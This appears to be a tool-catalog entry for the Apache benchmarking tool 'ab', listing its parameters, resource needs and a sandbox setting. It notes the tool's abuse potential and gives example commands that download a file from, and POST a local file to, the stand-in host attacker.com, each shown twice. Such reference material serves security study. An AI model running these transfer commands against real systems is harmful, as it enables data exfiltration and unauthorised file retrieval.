Apache HTTP server benchmarking tool that can also be used for file download and upload operations.
ab {v} {n} {c} ๐ v ๐ n ๐ c ab {v} {n} {c} Sandbox: execFile · Timeout: 60s
network.transfer.download network.transfer.upload network.http.benchmark | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
v | integer | No | - | Verbosity level | -v, --verbose |
p | file | No | - | File to POST | -p, --post-file |
n | integer | No | - | Number of requests | -n, --requests |
c | integer | No | - | Concurrency level | -c, --concurrency |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
network.http.benchmark | HTTP benchmark results | text/plain | - | community |
Inputs
network.target.url Target URL for benchmark or transfer
Outputs
network.http.benchmark Benchmark results
network_traffic Produces
network.http.benchmarkConsumes
network.target.url| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Download file from attacker server via verbose output
ab -v2 http://attacker.com/path/to/input-file Upload a local file via POST
ab -p /path/to/input-file http://attacker.com/ Basic benchmark with 1000 requests, concurrency 10
ab -n 1000 -c 10 http://example.com/ ab is a tool for benchmarking Apache HTTP servers. It can also be abused for file transfer operations when the binary has special privileges.
# Download file from remote server
ab -v2 http://attacker.com/path/to/input-file
# Upload file via POST
ab -p /path/to/input-file http://attacker.com/
ab -n 1000 -c 10 http://example.com/